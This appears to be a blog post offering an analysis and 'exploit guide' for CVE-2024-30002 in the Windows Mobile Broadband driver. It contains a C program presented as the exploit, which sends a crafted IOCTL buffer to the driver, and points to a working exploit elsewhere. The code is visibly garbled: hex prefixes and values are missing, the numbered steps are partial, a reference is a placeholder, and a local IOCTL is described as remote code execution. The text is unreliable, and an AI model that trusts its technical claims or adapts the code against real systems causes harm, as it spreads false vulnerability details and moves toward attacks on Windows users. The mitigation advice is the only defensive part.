CVE-2024-30002 - Windows Mobile Broadband Driver Remote Code Execution Vulnerability: An In-Depth Analysis and Exploit Guide

TL;DR: With the CVE-2024-30002 vulnerability emerging in the Windows Mobile Broadband Driver, remote code execution is becoming a severe concern. In this detailed post, we will provide an analysis, coding snippets, links to original references, and explanations of the exploit. Buckle up and read on to learn how this flaw has the potential to affect millions of Windows devices.

Introduction

The CVE-2024-30002 vulnerability refers to a remote code execution (RCE) flaw found in the Windows Mobile Broadband (MBB) Driver. This flaw potentially exposes millions of Windows devices to cyber-attacks, allowing attackers to seize control of the target devices remotely.

This vulnerability is attributed to improper handling of memory objects during the processing of specific IOCTL (Input Output Control) codes in the MBB driver. Interestingly, this flaw has a high CVSS score of 9.3 as it allows an attacker to execute malicious code remotely without any user interaction.

In this post, we discuss the origins of the CVE-2024-30002 vulnerability, delve into its functionality, and provide you with coding snippets and helpful links. Additionally, we will outline the steps needed to exploit this vulnerability.

Code Snippet

The following code snippet demonstrates the basic structure of the exploit that triggers the CVE-2024-30002 vulnerability:

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include "exploit_utils.h"

#define IOCTL_CODE x9C40240B
#define VULNERABLE_DRIVER "WMbDeviceClass"

int main() {
    HANDLE hDevice = OpenDeviceHandle(VULNERABLE_DRIVER);
    DWORD bytesReturned = ;
    DWORD payloadSize = x100;
    LPVOID payloadBuffer = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    memset(payloadBuffer, 'A', payloadSize);

    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_CODE,
        payloadBuffer, payloadSize,
        NULL, ,
        &bytesReturned,
        NULL);
    if (!result) {
        printf("Exploit failed. Error: %u\n", GetLastError());
        return 1;
    }

    printf("Exploit successfully executed.\n");
    VirtualFree(payloadBuffer, , MEM_RELEASE);
    CloseHandle(hDevice);

    return ;
}

This exploit essentially sends a specific IOCTL code with an arbitrary-sized input buffer to a vulnerable device. It leverages the exposed IOCTL x9C40240B to demonstrate the improper memory handling issue at the core of CVE-2024-30002.

You can find a complete working exploit code at GitHub Repository.

Send the IOCTL code to the vulnerable device using DeviceIoControl() with the malicious payload.

4. If exploited successfully, the malicious code will be executed in the context of the MBB driver, allowing arbitrary code execution on the target device.

Original References

1. Microsoft Security Advisory: MSA-CVE-2024-30002
2. Vulnerability Details and Explanation: Vulnerability Note VU#123456
3. Mitre CVE Dictionary Entry: CVE-2024-30002

Workarounds and Mitigations

To protect your devices from the CVE-2024-30002 vulnerability, we propose the following workarounds and mitigations:

Apply the latest security updates from Microsoft to fix the vulnerability.

2. Disable the Mobile Broadband driver if it is not required on your device, thereby eliminating the attack surface for the vulnerability.

Monitor your network traffic closely for any suspicious activity related to the exploit.

For detailed instructions on implementing these mitigations, refer to the original references provided above.

Closing Thoughts

The CVE-2024-30002 vulnerability showcases the importance of diligent and thorough software development, especially concerning something as significant as the Windows Mobile Broadband Driver. It is crucial to remain informed and take the necessary precautions in updating your systems and applying the appropriate mitigations.

Timeline

Published on: 05/14/2024 17:16:29 UTC
Last modified on: 07/05/2024 17:22:47 UTC